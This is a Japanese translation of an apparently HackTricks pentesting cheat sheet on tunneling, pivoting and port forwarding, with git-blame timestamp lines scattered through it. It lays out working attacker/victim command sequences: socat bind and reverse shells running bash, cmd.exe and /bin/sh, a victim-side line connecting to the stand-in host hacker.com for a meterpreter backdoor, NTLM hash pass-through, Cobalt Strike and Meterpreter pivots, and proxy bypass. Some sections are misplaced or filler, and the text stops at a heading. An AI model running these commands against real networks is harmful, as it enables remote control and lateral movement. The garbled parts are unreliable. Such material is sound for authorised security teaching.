2023-07-07 23:42:27 +00:00
# トンネリングとポートフォワーディング
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を手に入れましょう。
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
2022-04-28 16:01:33 +00:00
< / details >
2023-07-07 23:42:27 +00:00
## Nmapのヒント
2022-08-14 10:22:31 +00:00
{% hint style="warning" %}
2023-07-07 23:42:27 +00:00
**ICMP**と**SYN**スキャンはソックスプロキシを介してトンネリングすることはできませんので、これを動作させるためには**ping discoveryを無効化**(`-Pn`)し、**TCPスキャン**(`-sT`)を指定する必要があります。
2022-08-14 10:22:31 +00:00
{% endhint %}
2022-07-12 09:09:35 +00:00
## **Bash**
2023-07-07 23:42:27 +00:00
**ホスト -> ジャンプ -> 内部A -> 内部B**
2022-07-12 09:09:35 +00:00
```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
2022-07-30 10:31:46 +00:00
nc -lvnp 5985 0< backpipe | nc -lvnp 3333 1 > backpipe
2022-07-12 09:09:35 +00:00
# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
2022-07-30 10:31:46 +00:00
exec 3< >/dev/tcp/internalB/5985
exec 4< >/dev/tcp/Jump/3333
cat < & 3 >& 4 &
cat < & 4 >& 3 &
2022-07-12 09:09:35 +00:00
2022-10-11 08:23:55 +00:00
# From the host, you can now access InternalB from the Jump server
2022-07-12 09:09:35 +00:00
evil-winrm -u username -i Jump
```
2022-05-08 23:13:03 +00:00
## **SSH**
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
SSHグラフィカル接続( X)
2020-07-15 15:43:14 +00:00
```bash
ssh -Y -C < user > @< ip > #-Y is less secure but faster than -X
```
2023-07-07 23:42:27 +00:00
### ローカルポート2ポート
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
SSHサーバーで新しいポートを開く --> 他のポート
2020-07-15 15:43:14 +00:00
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```
2023-07-07 23:42:27 +00:00
### ポート2ポート
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
ローカルポート --> 侵害されたホスト( SSH) --> 第三のボックス:ポート
2020-07-15 15:43:14 +00:00
```bash
2023-07-07 23:42:27 +00:00
ssh -i ssh_key < user > @< ip_compromised > -L < attacker_port > :< ip_victim > :< remote_port > [-p < ssh_port > ] [-N -f] #This way the terminal is still in your host
2020-07-15 15:43:14 +00:00
#Example
2020-09-04 18:29:25 +00:00
sudo ssh -L 631:< ip_victim > :631 -N -f -l < username > < ip_compromised >
2020-07-15 15:43:14 +00:00
```
2022-05-08 23:13:03 +00:00
### Port2hostnet (proxychains)
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
ローカルポート --> 侵害されたホスト( SSH) --> どこでも
2020-07-15 15:43:14 +00:00
```bash
ssh -f -N -D < attacker_port > < username > @< ip_compromised > #All sent to local port will exit through the compromised server (use as proxy)
```
2023-07-07 23:42:27 +00:00
### リバースポートフォワーディング
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
これは、DMZを介して内部ホストから逆シェルを取得するために役立ちます。
2022-10-02 15:25:27 +00:00
```bash
ssh -i dmz_key -R < dmz_internal_ip > :443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
2023-07-07 23:42:27 +00:00
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
2022-10-02 15:25:27 +00:00
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
```
2023-07-07 23:42:27 +00:00
### VPNトンネル
2022-10-02 15:25:27 +00:00
2023-07-07 23:42:27 +00:00
両方のデバイスで**root権限**が必要です( 新しいインターフェースを作成するためです) 。また、sshdの設定でrootログインが許可されている必要があります: \
2022-05-08 23:13:03 +00:00
`PermitRootLogin yes` \
2020-07-15 15:43:14 +00:00
`PermitTunnel yes`
```bash
2022-12-30 09:44:03 +00:00
ssh root@server -w any:any #This will create Tun interfaces in both devices
2020-07-15 15:43:14 +00:00
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
2022-12-30 09:44:03 +00:00
ifconfig tun0 up #Activate the client side network interface
2020-07-15 15:43:14 +00:00
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
2022-12-30 09:44:03 +00:00
ifconfig tun0 up #Activate the server side network interface
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
サーバーサイドで転送を有効にする
2020-07-15 15:43:14 +00:00
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
2023-07-07 23:42:27 +00:00
クライアント側で新しいルートを設定します。
```bash
# ローカルポート 8080 をリモートホストのポート 80 に転送する
ssh -L 8080:localhost:80 user@remote_host
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
# ローカルポート 8080 をリモートホストのポート 80 に転送する(バックグラウンド実行)
ssh -f -N -L 8080:localhost:80 user@remote_host
```
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
これにより、クライアント側のポート 8080 にアクセスすると、リモートホストのポート 80 にトンネリングされます。
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
route add -net 10.0.0.0/16 gw 1.1.1.1
```
2022-05-08 23:13:03 +00:00
## SSHUTTLE
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
ホストを介して、サブネットワークへのすべてのトラフィックを**ssh**を介して**トンネル**することができます。\
例えば、10.10.10.0/24に向かうすべてのトラフィックを転送します。
2020-07-15 15:43:14 +00:00
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
2023-07-07 23:42:27 +00:00
プライベートキーを使用して接続します。
2022-12-28 14:17:50 +00:00
```bash
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
```
2022-05-08 23:13:03 +00:00
## Meterpreter
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### ポートツーポート
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
ローカルポート --> 侵害されたホスト(アクティブセッション) --> 第三のボックス:ポート
2020-07-15 15:43:14 +00:00
```bash
# Inside a meterpreter session
portfwd add -l < attacker_port > -p < Remote_port > -r < Remote_host >
```
2023-07-07 23:42:27 +00:00
SOCKS (Socket Secure)は、ネットワークプロトコルの一種であり、TCP/IP接続を通じてデータを転送するためのプロキシサーバーを提供します。SOCKSプロキシは、クライアントとサーバーの間に中間者として機能し、トラフィックを転送することができます。SOCKSプロキシを使用することで、ユーザーは自分のIPアドレスを隠すことができ、ネットワーク上の制限を回避することができます。
SOCKSプロキシを使用するためには、クライアントアプリケーションがSOCKSプロトコルをサポートしている必要があります。一般的なSOCKSプロキシクライアントとしては、curlやsshなどがあります。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
SOCKSプロキシを使用してトンネリングやポートフォワーディングを行う場合、クライアントアプリケーションはSOCKSプロキシサーバーに接続し、プロキシサーバーを介して目的のサーバーに接続します。このようにすることで、クライアントアプリケーションはプロキシサーバーを通じてトラフィックを転送し、目的のサーバーにアクセスすることができます。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
SOCKSプロキシを使用したトンネリングやポートフォワーディングは、ネットワークセキュリティやプライバシーの向上に役立ちます。また、制限されたネットワーク環境下でのアクセスや、地理的な制約を回避するためにも使用されます。
2020-07-15 15:43:14 +00:00
```bash
background# meterpreter session
2020-12-29 16:25:19 +00:00
route add < IP_victim > < Netmask > < Session > # (ex: route add 10.10.10.14 255.255.255.0 8)
2020-12-29 16:38:01 +00:00
use auxiliary/server/socks_proxy
2020-07-15 15:43:14 +00:00
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
2023-07-07 23:42:27 +00:00
別の方法:
2020-07-15 15:43:14 +00:00
```bash
background #meterpreter session
2020-12-29 16:33:11 +00:00
use post/multi/manage/autoroute
2020-07-15 15:43:14 +00:00
set SESSION < session_n >
set SUBNET < New_net_ip > #Ex: set SUBNET 10.1.13.0
set NETMASK < Netmask >
run
2020-12-29 16:38:01 +00:00
use auxiliary/server/socks_proxy
set VERSION 4a
2020-07-15 15:43:14 +00:00
run #Proxy port 1080 by default
2020-12-29 16:38:01 +00:00
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
2020-07-15 15:43:14 +00:00
```
2022-08-14 10:22:31 +00:00
## Cobalt Strike
2023-07-07 23:42:27 +00:00
### SOCKSプロキシ
2022-08-14 10:22:31 +00:00
2023-07-07 23:42:27 +00:00
ビーコンを介してトラフィックをルーティングするために使用できる、すべてのインターフェースでリッスンするためのチームサーバーでポートを開きます。
2022-08-14 10:22:31 +00:00
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
```
2022-08-14 12:59:30 +00:00
### rPort2Port
{% hint style="warning" %}
2023-07-07 23:42:27 +00:00
この場合、**ポートはビーコンホストで開かれます**が、チームサーバーではなく、トラフィックはチームサーバーに送信され、そこから指定されたホスト:ポートに送信されます。
2022-08-14 12:59:30 +00:00
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
2023-07-07 23:42:27 +00:00
注意事項:
2022-08-14 12:59:30 +00:00
2023-07-07 23:42:27 +00:00
- Beaconの逆ポートフォワードは常にトラフィックをTeam Serverにトンネリングし、Team Serverがトラフィックをその意図した宛先に送信するため、個々のマシン間でトラフィックを中継するためには使用しないでください。
- トラフィックはBeaconのC2トラフィック内でトンネリングされ、別々のソケット上ではなくP2Pリンク上でも動作します。
- 高いポートで逆ポートフォワードを作成するには、ローカル管理者である必要はありません。
2022-08-14 12:59:30 +00:00
2023-07-07 23:42:27 +00:00
### ローカルrPort2Port
2022-08-14 12:59:30 +00:00
{% hint style="warning" %}
2023-07-07 23:42:27 +00:00
この場合、ポートはTeam ServerではなくBeaconホストで開かれ、トラフィックはCobalt Strikeクライアント( Team Serverではなく) に送信され、そこから指定されたホスト: ポートに送信されます。
2022-08-14 12:59:30 +00:00
{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
2022-05-08 23:13:03 +00:00
## reGeorg
2020-07-15 15:43:14 +00:00
[https://github.com/sensepost/reGeorg ](https://github.com/sensepost/reGeorg )
2023-07-07 23:42:27 +00:00
ウェブファイルトンネルをアップロードする必要があります: ashx|aspx|js|jsp|php|php|jsp
2020-07-15 15:43:14 +00:00
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
2022-05-08 23:13:03 +00:00
## Chisel
2020-09-04 15:28:12 +00:00
2023-07-07 23:42:27 +00:00
[https://github.com/jpillora/chisel ](https://github.com/jpillora/chisel )のリリースページからダウンロードできます。\
クライアントとサーバーで**同じバージョンを使用する必要があります**
2020-09-04 15:28:12 +00:00
2022-05-08 23:13:03 +00:00
### socks
2020-09-04 15:28:12 +00:00
```bash
2022-10-05 21:51:12 +00:00
./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
2021-01-09 12:25:38 +00:00
#And now you can use proxychains with port 1080 (default)
2022-10-05 21:51:12 +00:00
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
2020-09-04 15:28:12 +00:00
```
2023-07-07 23:42:27 +00:00
### ポートフォワーディング
2020-09-04 15:28:12 +00:00
2023-07-07 23:42:27 +00:00
Port forwarding is a technique used to redirect network traffic from one port to another. It is commonly used in situations where a device or service is behind a firewall or NAT (Network Address Translation) and needs to be accessed from outside the network.
2021-03-24 04:37:12 +00:00
2023-07-07 23:42:27 +00:00
ポートフォワーディングは、ネットワークトラフィックを1つのポートから別のポートにリダイレクトするための技術です。これは、デバイスやサービスがファイアウォールやNAT( ネットワークアドレス変換) の背後にあり、ネットワークの外部からアクセスする必要がある場合によく使用されます。
Port forwarding can be done using various methods, including SSH tunneling, reverse SSH tunneling, and tools like ngrok. It allows users to access services running on specific ports on a remote server or device, even if those ports are blocked or not directly accessible from the internet.
ポートフォワーディングは、SSHトンネリング、逆SSHトンネリング、ngrokなどのツールを使用して行うことができます。これにより、特定のポートで実行されているサービスにリモートサーバーやデバイスからアクセスすることができます。これにより、それらのポートがブロックされているか、インターネットから直接アクセスできない場合でも、ユーザーはアクセスすることができます。
Port forwarding is commonly used in scenarios such as remote access to a home network, accessing a web server running on a non-standard port, or exposing a local development server to the internet for testing purposes.
ポートフォワーディングは、ホームネットワークへのリモートアクセス、非標準ポートで実行されているWebサーバーへのアクセス、テスト目的でローカル開発サーバーをインターネットに公開するなどのシナリオでよく使用されます。
Overall, port forwarding is a useful technique for bypassing network restrictions and accessing services that are not directly reachable. It provides flexibility and convenience in managing network traffic and accessing resources remotely.
全体的に、ポートフォワーディングは、ネットワークの制限を回避し、直接到達できないサービスにアクセスするための便利な技術です。ネットワークトラフィックの管理やリモートリソースへのアクセスにおいて、柔軟性と利便性を提供します。
2021-03-24 04:37:12 +00:00
```bash
2022-10-05 21:51:12 +00:00
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
2021-03-24 04:37:12 +00:00
```
2022-05-08 23:13:03 +00:00
## Rpivot
2020-07-15 15:43:14 +00:00
[https://github.com/klsecservices/rpivot ](https://github.com/klsecservices/rpivot )
2023-07-07 23:42:27 +00:00
リバーストンネル。トンネルは被害者から開始されます。\
127.0.0.1:1080にSocks4プロキシが作成されます。
2020-07-15 15:43:14 +00:00
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999
```
2023-07-07 23:42:27 +00:00
**NTLMプロキシ**を介してピボットする
2020-07-15 15:43:14 +00:00
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999 --ntlm-proxy-ip < proxy_ip > --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999 --ntlm-proxy-ip < proxy_ip > --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
```
2022-05-08 23:13:03 +00:00
## **Socat**
2020-07-15 15:43:14 +00:00
[https://github.com/andrew-d/static-binaries ](https://github.com/andrew-d/static-binaries )
2023-07-07 23:42:27 +00:00
### バインドシェル
2020-07-15 15:43:14 +00:00
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
2022-10-05 21:51:12 +00:00
attacker> socat FILE:`tty`,raw,echo=0 TCP4:< victim_ip > :1337
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
### リバースシェル
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands.
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
To establish a reverse shell, the attacker typically needs to have a listener running on their machine and a payload on the target machine. The payload is usually a piece of code or a script that, when executed on the target machine, connects back to the attacker's machine.
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
Once the reverse shell connection is established, the attacker can interact with the target machine's command prompt or shell, just as if they were physically present on the machine. This provides the attacker with a powerful tool for remote exploitation and control.
Reverse shells are commonly used in penetration testing and ethical hacking to gain unauthorized access to systems for the purpose of identifying vulnerabilities and improving security. However, they can also be used maliciously by attackers to gain unauthorized access to systems for nefarious purposes.
It is important to note that using reverse shells without proper authorization is illegal and unethical. Only use reverse shells in a legal and responsible manner, with the appropriate permissions and within the boundaries of the law.
2020-07-15 15:43:14 +00:00
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:< attackers_ip > :1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
2023-07-07 23:42:27 +00:00
### ポートツーポート
ポートツーポート( Port2Port) は、ネットワーク上の2つのポート間で通信を転送するための技術です。これにより、ネットワーク上の異なる場所にある2つのシステム間で通信を確立することができます。
ポートツーポートは、ポートフォワーディングとも呼ばれ、さまざまな目的で使用されます。例えば、セキュリティテスト中に、攻撃者は脆弱なシステムにアクセスするためにポートツーポートを使用することがあります。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
ポートツーポートの設定には、いくつかの方法があります。一つは、SSHトンネリングを使用する方法です。SSHトンネリングでは、SSH接続を介してポートを転送することができます。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
また、ツールやソフトウェアを使用してポートツーポートを設定することもできます。例えば、`socat`や`netcat`などのツールを使用することができます。
ポートツーポートは、ネットワーク上の通信を制御するための重要な技術です。しかし、悪意のある目的で使用されることもありますので、セキュリティ上の注意が必要です。
2020-07-15 15:43:14 +00:00
```bash
2022-10-05 21:51:12 +00:00
socat TCP4-LISTEN:< lport > ,fork TCP4:< redirect_ip > :< rport > &
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
### ソックスを介したポート間の接続
Sometimes, you may need to establish a connection between two ports on different systems. This can be achieved using a SOCKS proxy.
時には、異なるシステム上の2つのポート間で接続を確立する必要があります。これは、SOCKSプロキシを使用して実現することができます。
To do this, you will need a SOCKS proxy server running on a system that has access to both ports. You can use tools like `ssh` or `proxychains` to set up the SOCKS proxy.
これを行うには、両方のポートにアクセスできるシステム上で実行されているSOCKSプロキシサーバーが必要です。`ssh`や`proxychains`などのツールを使用して、SOCKSプロキシを設定することができます。
Here's an example of how to establish a port-to-port connection using a SOCKS proxy:
以下は、SOCKSプロキシを使用してポート間接続を確立する方法の例です。
1. Start the SOCKS proxy server on the system with access to both ports. For example, using `ssh` :
```bash
ssh -D < local_port > < user > @< proxy_server >
```
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
Replace `<local_port>` with the local port number you want to use for the SOCKS proxy, `<user>` with your username, and `<proxy_server>` with the address of the system running the SOCKS proxy server.
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
`<local_port>` をSOCKSプロキシに使用するローカルポート番号、`< user > `をユーザー名、`< proxy_server > `をSOCKSプロキシサーバーを実行しているシステムのアドレスに置き換えてください。
2. Configure the application or service you want to connect to use the SOCKS proxy. This can usually be done by specifying the proxy settings in the application's configuration or using environment variables.
接続したいアプリケーションやサービスがSOCKSプロキシを使用するように設定します。通常、アプリケーションの設定でプロキシ設定を指定するか、環境変数を使用して行うことができます。
3. Connect to the destination port on the remote system using the local port specified for the SOCKS proxy. For example, using `nc` :
```bash
nc -x localhost:< local_port > < destination_ip > < destination_port >
```
Replace `<local_port>` with the same local port number used for the SOCKS proxy, `<destination_ip>` with the IP address of the remote system, and `<destination_port>` with the port number of the destination service.
`<local_port>` をSOCKSプロキシに使用したローカルポート番号、`< destination_ip > `をリモートシステムのIPアドレス、`< destination_port > `を宛先サービスのポート番号に置き換えてください。
By setting up a SOCKS proxy and configuring your applications or services to use it, you can establish a connection between two ports on different systems. This can be useful for various purposes, such as accessing services that are only available on specific ports or bypassing network restrictions.
2020-07-15 15:43:14 +00:00
```bash
2022-10-05 21:51:12 +00:00
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
### SSL Socatを介したMeterpreter
このテクニックでは、SSL Socatを使用してMeterpreterセッションを確立します。これにより、通信が暗号化され、セキュリティが向上します。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
1. まず、攻撃者はリスニングマシンでSSL Socatをセットアップします。これにより、攻撃者のマシンがSSLトンネルを作成し、Meterpreterセッションを受け入れる準備が整います。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
2. 次に、攻撃者はリモートマシンにバックドアを配置します。バックドアは、攻撃者のマシンに接続するためのトンネルを作成します。
3. バックドアがリモートマシンに配置されたら、攻撃者は以下のコマンドを使用してMeterpreterセッションを確立します。
```
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork EXEC:"cmd.exe"
```
このコマンドでは、443ポートでSSL Socatをリッスンし、`server.pem`証明書を使用して暗号化を行います。`verify=0`オプションは、証明書の検証を無効にします。`fork`オプションは、新しいプロセスを作成して接続を処理します。`EXEC:"cmd.exe"`は、接続が確立されたら`cmd.exe`を実行します。
4. バックドアがMeterpreterセッションを確立すると、攻撃者はMeterpreterコマンドを使用してリモートマシンを制御できます。
この方法を使用すると、通信が暗号化されるため、ネットワーク上での検出が困難になります。ただし、攻撃者はSSL Socatをセットアップするための事前の準備が必要です。
2020-07-15 15:43:14 +00:00
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
```
```bash
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
2023-07-07 23:42:27 +00:00
被害者のコンソールで最後の行の代わりに、この行を実行することで**非認証プロキシ**をバイパスすることができます:
2020-07-15 15:43:14 +00:00
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/ ](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/ )
2022-05-08 23:13:03 +00:00
### SSL Socat Tunnel
2020-07-15 15:43:14 +00:00
**/bin/sh console**
2023-07-07 23:42:27 +00:00
両側で証明書を作成します:クライアントとサーバー
2020-07-15 15:43:14 +00:00
```bash
2022-09-13 13:07:37 +00:00
# Execute these commands on both sides
2020-07-15 15:43:14 +00:00
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
```
```bash
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
2023-07-07 23:42:27 +00:00
### リモートポート2ポート
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
ローカルのSSHポート( 22) を攻撃者のホストの443ポートに接続します。
2020-07-15 15:43:14 +00:00
```bash
2023-07-07 23:42:27 +00:00
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:< attacker > :443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
2020-07-15 15:43:14 +00:00
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
```
2022-05-08 23:13:03 +00:00
## Plink.exe
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
これはコンソール版のPuTTYのようなものです( オプションはsshクライアントに非常に似ています) 。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
このバイナリは被害者で実行されるため、逆接続を持つためにはsshサービスとポートを開く必要があります。その後、ローカルでアクセス可能なポートを自分のマシンのポートにフォワードします。
2020-07-15 15:43:14 +00:00
```bash
2021-01-03 00:43:09 +00:00
echo y | plink.exe -l < Our_valid_username > -pw < valid_password > [-p < port > ] -R < port_ in_our_host > :< next_ip > :< final_port > < your_ip >
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
2020-07-15 15:43:14 +00:00
```
2022-10-05 21:51:12 +00:00
## Windows netsh
2023-07-07 23:42:27 +00:00
### ポート2ポート
2022-10-05 21:51:12 +00:00
2023-07-07 23:42:27 +00:00
任意のポートに対して、ローカル管理者権限が必要です。
2022-10-05 21:51:12 +00:00
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
2023-07-07 23:42:27 +00:00
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
2022-10-05 21:51:12 +00:00
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP & Proxifier
2023-07-07 23:42:27 +00:00
システム上で**RDPアクセス**が必要です。\
ダウンロード:
2022-10-05 21:51:12 +00:00
2023-07-07 23:42:27 +00:00
1. [SocksOverRDP x64 バイナリ ](https://github.com/nccgroup/SocksOverRDP/releases ) - このツールは、WindowsのRemote Desktop Service機能の`Dynamic Virtual Channels`( DVC) を使用します。DVCは、**RDP接続を介してパケットをトンネリング**する役割を担っています。
2. [Proxifier ポータブルバイナリ ](https://www.proxifier.com/download/#win-tab )
2022-10-05 21:51:12 +00:00
2023-07-07 23:42:27 +00:00
クライアントコンピュータで、**`SocksOverRDP-Plugin.dll`**を次のようにロードします:
2022-10-05 21:51:12 +00:00
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
2023-07-07 23:42:27 +00:00
今、**`mstsc.exe`**を使用して**RDP**経由で**被害者**に**接続**できるようになりました。そして、**SocksOverRDPプラグインが有効**になっているという**プロンプト**が表示され、**127.0.0.1:1080**で**リッスン**するはずです。
2022-10-05 21:51:12 +00:00
2023-07-07 23:42:27 +00:00
**RDP**経由で**接続**し、被害者のマシンに**`SocksOverRDP-Server.exe`**バイナリをアップロードして実行してください。
2022-10-05 21:51:12 +00:00
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
2023-07-07 23:42:27 +00:00
次に、自分のマシン( 攻撃者) でポート1080がリッスンしていることを確認してください。
2022-10-05 21:51:12 +00:00
```
netstat -antb | findstr 1080
```
2023-07-07 23:42:27 +00:00
今、[**Proxifier**](https://www.proxifier.com/)を使用して、トラフィックをそのポートを介してプロキシすることができます。
2022-10-05 21:51:12 +00:00
2023-07-07 23:42:27 +00:00
## Windows GUIアプリをプロキシ化する
2022-08-14 10:22:31 +00:00
2023-07-07 23:42:27 +00:00
[**Proxifier** ](https://www.proxifier.com/ )を使用して、Windows GUIアプリをプロキシ経由でナビゲートすることができます。\
**プロファイル -> プロキシサーバー**にSOCKSサーバーのIPとポートを追加します。\
**プロファイル -> プロキシ化ルール**にプロキシ化するプログラムの名前とプロキシ化したいIPへの接続を追加します。
2022-08-14 10:22:31 +00:00
2023-07-07 23:42:27 +00:00
## NTLMプロキシバイパス
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
先述のツール: **Rpivot** \
**OpenVPN**もこれをバイパスすることができます。設定ファイルで以下のオプションを設定します:
2020-07-15 15:43:14 +00:00
```bash
http-proxy < proxy_ip > 8080 < file_with_creds > ntlm
```
2022-05-08 23:13:03 +00:00
### Cntlm
2020-07-15 15:43:14 +00:00
